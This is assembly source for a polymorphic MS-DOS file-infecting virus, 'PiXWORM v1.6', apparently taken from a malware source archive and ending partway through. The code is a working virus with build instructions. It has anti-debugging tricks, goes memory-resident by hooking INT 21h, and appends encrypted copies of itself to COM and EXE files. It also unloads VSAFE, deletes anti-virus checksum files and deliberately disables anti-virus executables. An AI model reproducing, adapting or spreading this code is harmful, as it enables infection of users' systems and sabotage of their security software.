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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.pw16.asm

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2021-01-12 23:55:26 +00:00
; **Beta Code**
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>------
; Pi<50>W<EFBFBD>RM v1.6 coded by <20>irogen <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20> Variant A <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>------
;
; See enclosed NFO for more info..
;
; version 1.5:
; <20> Conditional compilation equates added for creation of new variants
; <20> Improved polymorphic engine
; <20> Fixed possible bug in polymorphic engine after 50 or so generations
; version 1.6:
; <20> Re-Enabled Constant 1 Byte Garbage Generation
; <20> Changed activation routine
;
; compile like so:
; TASM /m pw16
; Tlink pw16
; --convert to COM--
;
cseg segment
assume cs: cseg, ds: cseg, es: cseg, ss: cseg
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Compile Options <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SECOND_CRYPT equ 0 ; use second cryptor?
INCLUDE_INT3 equ 1 ; include INT 3 in garbage code?
; (slows the loop down alot)
KILL_AV equ 1 ; Kill AVs as executed?
KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez?
TWO_BYTE equ 1 ; Use two byte garbage code?
KILL_DATE equ 13 ; day of the month to play with user
MAX_EXE equ 4 ; max exe file size -high byte
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Polymorphic Engine Equates <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INC_BUF_SIZE equ 38 ; INC buf
ENC_OP_BSIZE equ 38 ; ENC buf
PTR_BUF_SIZE equ 38 ; PTR buf
CNT_BUF_SIZE equ 38 ; CNT&OP
DJ_BUF_SIZE equ 38 ; DEC&JMP
GARBAGE_OPS equ 0Fh ; # of garbage ops in each group
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Misc. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enc_size equ offset first_crypt-offset encrypt
enc2_size equ offset code_start-offset first_crypt
signal equ 0FA01h ; AX=signal/INT 21h/installation chk
vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
real_start equ offset dj_buf+3 ; starting location of encryted code
cr equ 0ah
org 0h
start:
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Polymorphic Encryptor/Decryptor Buffer
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
encrypt:
ptr_buf db PTR_BUF_SIZE dup (90h)
encryptor:
cnt_buf db CNT_BUF_SIZE dup(90h)
enc_loop:
inc_buf db INC_BUF_SIZE dup(90h)
enc_op_buf db ENC_OP_BSIZE dup(90h)
dj_buf db DJ_BUF_SIZE dup (90h)
ret_byte db 090h ; C3h or a NOP equiv.
first_crypt: ; end of first cryptor
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Second Decryptor - Anti-Debugging <20><><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20> Uses reverse direction word XOR encryption
; <20> Uses the following techniques:
; <20> JMP into middle of operand
; <20> Replace word after CALL to kill stepping over call
; <20> Kills INT 1 vector
; <20> Disables Keyboard via Port 21h
; <20> Reverse direction encryption prevents stepping past loop
; <20> Uses SP as a crucial data register in some locations - if
; the debugger uses the program's stack, then it may very well
; phuck thingz up nicely.
; <20> Uses Soft-Ice INT 3 API to lock it up if in memory.
;
sti ; fix CLI in garbage code
db 0BDh ; MOV BP,XXXX
bp_calc dw 0100h
push ds es ; save segment registers for EXE
IF SECOND_CRYPT
push ds
dbg1: jmp mov_si ; 1
db 0BEh ; MOV SI,XXXX
mov_si: db 0BEh ; MOV SI,XXXX
rel2_off dw offset heap+1000h ; org copy: ptr way out there
call shit
add_bp: int 19h ; fuck 'em if they skipped
jmp in_op ; 1
db 0BAh ; MOV DX,XXXX
in_op: in al,21h
push ax
or al,02
jmp kill_keyb ; 1
db 0C6h
kill_keyb: out 21h,al ; keyboard=off
call shit6
past_shit: jmp dbl_crypt
shit7:
xor ax,ax ;null es
mov es,ax
mov bx,word ptr es: [06] ;get INT 1
ret
shit:
mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP
mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister
ret
shit2:
mov word ptr cs: dec_si[bp],4E4Eh
mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother
call shit3
jnc code_start ;did they skip shit3?
xor dx,cx
ret
db 0EAh ;JMP FAR X:X
shit4:
db 0BAh ;MOV DX,XXXX
sec_enc dw 0
mov di,4A4Dh ;prepare for Soft-ice
ret
shit3:
mov ax,911h ;soft-ice - execute command
call shit4
stc
dec word ptr es: [06] ;2-kill INT 1 vector
push si
mov si,4647h ;soft-ice
int 3 ;call SI execute - DS:DX-garbage
pop si
ret
shit6: mov byte ptr cs: past_shit[bp],0EBh
out 21h,al ; try turning keyboard off again
ret
dbl_crypt: ; main portion of cryptor
mov cx,(offset heap-offset ret2_byte)/2+1
call shit7
dbl_loop:
jmp $+3 ; 1
db 034h ; XOR ...
call shit3 ; nested is the set DX
xchg sp,dx ; xchg SP and DX
jmp xor_op ; 1
db 0EAh ; JMP FAR X:X
xor_op: xor word ptr cs: [si],sp ; the real XOR baby..
xchg sp,dx ; restore SP
call shit2
dec_si: pop ss ; fuck 'em if they skipped shit2
pop sp
int 3
xchg sp,bx ; SP=word of old int 1 vec
dec cx
mov es: [06],sp ; restore int 1 vector
xchg sp,bx ; restore SP
jnz dbl_loop
ret2_byte db 90h,90h
ENDIF
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Start of Viral Code <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
code_start:
IF SECOND_CRYPT
pop ax es ; Get port reg bits (ES=PSP)
out 21h,al ; restore keyboard
ENDIF
mov cs: activate[bp],0 ; reset activation toggle
mov cs: mem_word[bp],0 ; reset mem. encryption
inc si ; SI!=0
mov dx,vsafe_word ; remove VSAFE/VWATCH from memory
mov ax,0FA01h ; & check for residency of virus too
int 21h
or si,si ; if SI=0 then it's us
jz no_install
mov ah,2ah ; get date
int 21h
cmp dl,KILL_DATE ; is it time to activate?
jnz not_time
mov cs: activate[bp],1
not_time:
mov ax,es ; PSP segment - popped from DS
dec ax ; mcb below PSP m0n
mov ds,ax ; DS=MCB seg
cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain?
jnz no_install
sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB
sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP
mov es,word ptr ds: [12h] ; get high mem seg
push cs
pop ds
mov si,bp
mov cx,(offset vend - offset start)/2+1
xor di,di
rep movsw ; copy code to new seg
xor ax,ax
mov ds,ax ; null ds
push ds
lds ax,ds: [21h*4] ; get 21h vector
mov es: word ptr old21+2,ds ; save S:O
mov es: word ptr old21,ax
pop ds
mov ds: [21h*4+2],es ; new int 21h seg
mov ds: [21h*4],offset new21 ; new offset
call get_timer
cmp dl,5
jle no_install
sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem
no_install:
xor si,si ; null regs..
xor di,di ; some progs actually care..
xor ax,ax
xor bx,bx
xor dx,dx
pop es ds ; restore ES DS
cmp cs: exe_phile[bp],1
jz exe_return
lea si,org_bytes[bp] ; com return
mov di,0100h ; -restore first 4 bytes
movsw
movsw
mov ax,100h ; jump back to 100h
push ax
_ret: ret
exe_return:
mov cx,ds ; calc. real CS
add cx,10h
add word ptr cs: [exe_jump+2+bp],cx
int 3 ; fix prefetch
cli
mov sp,cs: oldsp[bp] ; restore old SP..
sti
db 0eah
exe_jump dd 0
oldsp dw 0
exe_phile db 0
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Infection Routine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; DS:DX=fname
; Assumes EXE if first byte is 'M' or 'Z'
; Changes/Restores attribute and time/date
;
; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's
; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it
; unusable.
;
infect_file:
mov di,dx ; move filename ptr into an index reg
push ds ; search for end of filename(NULL)
pop es
xor ax,ax
mov cx,128
repnz scasb
cmp word ptr [di-3],'EX' ;.eXE?
jz is_exec
chk_com: cmp word ptr [di-3],'MO' ;.cOM?
jnz _ret
is_exec:
IF KILL_AV
mov cs: isav,0
cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV
jz anti_action
cmp word ptr [di-7],'TO' ;*OT.*? F-PROT
jz anti_action
cmp word ptr [di-7],'NA' ;*AN.*?
jnz name_ok
cmp word ptr [di-9],'CS' ;*SCAN.*?
jnz name_ok
anti_action:
inc cs: isav ; set mark for anti-virus kill
name_ok:
ENDIF
push ds ; save fname ptr segment
mov es,ax ; NULL ES (ax already 0)
lds ax,es: [24h*4] ; get INT 24h vector
mov old_24_off,ax ; save it
mov old_24_seg,ds
mov es: [24h*4+2],cs ; install our handler
mov es: [24h*4],offset new_24
pop ds ; restore fname ptr segment
push es
push cs ; push ES for restoring INT24h later
pop es ; ES=CS
mov ax,4300h ; get phile attribute
int 21h
mov ax,4301h ; null attribs 4301h
push ax cx ds dx ; save AX-call/CX-attrib/DX:DS
xor cx,cx ; zero all
int 21h
mov bx,signal
mov ax,3d02h ; open the file
int 21h
jc close ; if error..quit infection
xchg bx,ax ; get handle
push cs ; DS=CS
pop ds
IF KILL_CHKLIST
call kill_chklst ; kill CHKLIST.MS & .CPS filez
ENDIF
mov ax,5700h ; get file time/date
int 21h
push cx dx ; save 'em for later
mov ah,3fh ; Read first bytes of file
mov cx,18h ; EXE header or just first bytes of COM
lea dx,org_bytes ; buffer used for both
int 21h
call offset_end ; set ptr to end- DXAX=file_size
cmp byte ptr org_bytes,'M' ; EXE?
jz do_exe
cmp byte ptr org_bytes,'Z' ; EXE?
jz do_exe
cmp byte ptr org_bytes+3,0 ; CoM infected?
jz d_time
dec exe_phile
push ax ; save file size
add ax,100h ; PSP in com
mov rel_off,ax ; save it for decryptor
mov bp_calc,ax
call encrypt_code ; copy and encrypt code
lea dx,vend ; start of newly created code
mov cx,offset heap+0FFh ; virus length+xtra
add cl,size_disp ; add random ^in case cl exceeds FF
mov ah,40h
int 21h ; append virus to infected file
call offset_zero ; position ptr to beginning of file
pop ax ; restore COM file size
sub ax,3 ; calculate jmp offset
mov word ptr new_jmp+1,ax ; save it..
lea dx,new_jmp ; write the new jmp (E9XXXX,0)
mov cx,4 ; total of 4 bytes
mov ah,40h
int 21h
d_time:
pop dx cx ; pop date/time
mov ax,5701h ; restore the mother fuckers
int 21h
close:
mov ah,3eh ; close phile
int 21h
pop dx ds cx ax ; restore attrib
int 21h
dont_do:
pop es ; ES=0
lds ax,dword ptr old_24_off ; restore shitty DOS error handler
mov es: [24h*4],ax
mov es: [24h*4+2],ds
ret ; return back to INT 21h handler
do_exe:
cmp dx,MAX_EXE
jg d_time
mov exe_phile,1
IF KILL_AV
cmp isav,1 ; anti-virus software?
jnz not_av
mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh
jmp write_hdr
not_av:
ENDIF
cmp word ptr exe_header[12h],0 ; checksum 0?
jnz d_time
mov cx,mem_word ; get random word
inc cx ; make sure !0
mov word ptr exe_header[12h],cx ; set checksum to!0
mov cx,word ptr exe_header[10h] ; get old SP
mov oldsp,cx ; save it..
mov word ptr exe_header[10h],0 ; write new SP of 0
les cx,dword ptr exe_header[14h] ; Save old entry point
mov word ptr exe_jump, cx ; off
mov word ptr exe_jump[2], es ; seg
push cs ; ES=CS
pop es
push dx ax ; save file size DX:AX
cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+)
jz pklited
cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE
jge d_time
pklited:
mov bp, word ptr exe_header+8h ; calc. new entry point
mov cl,4 ; *10h
shl bp,cl ; ^by shifting one byte
sub ax,bp ; get actual file size-header
sbb dx,0
mov cx,10h ; divide me baby
div cx
mov word ptr exe_header+14h,dx ; save new entry point
mov word ptr exe_header+16h,ax
mov rel_off,dx ; save it for encryptor
mov bp_calc,dx
call encrypt_code ; encrypt & copy the code
mov cx,offset heap+0FFh ; virus size+xtra
add cl,size_disp ; add random ^in case cl exceeds FFh
lea dx,vend ; new copy in heap
mov ah,40h ; write the damn thing
int 21h
pop ax dx ; AX:DX file size
mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below
add cl,size_disp
adc ax,cx
mov cl,9 ; calc new alloc (512)
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov word ptr exe_header+4h,dx ; save new mem. alloc info
mov word ptr exe_header+2h,ax
write_hdr:
call offset_zero ; position ptr to beginning
mov cx,18h ; write fiXed header
lea dx,exe_header
mov ah,40h
int 21h
jmp d_time ; restore shit/return
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Kills CHKLIST.CPS and CHKLIST.MS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
kill_chklst:
mov di,2 ; counter for loop
lea dx,chkl1 ; first fname to kill
kill_loop:
mov ax,4301h ; reset attribs
xor cx,cx
int 21h
mov ah,41h ; delete phile
int 21h
lea dx,chkl2 ; second fname to kill
dec di
jnz kill_loop
ret
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Set File PTR <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
offset_zero: ; self explanitory
xor al,al
jmp set_fp
offset_end:
mov al,02h
set_fp:
mov ah,42h
xor cx,cx
xor dx,dx
int 21h
ret
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
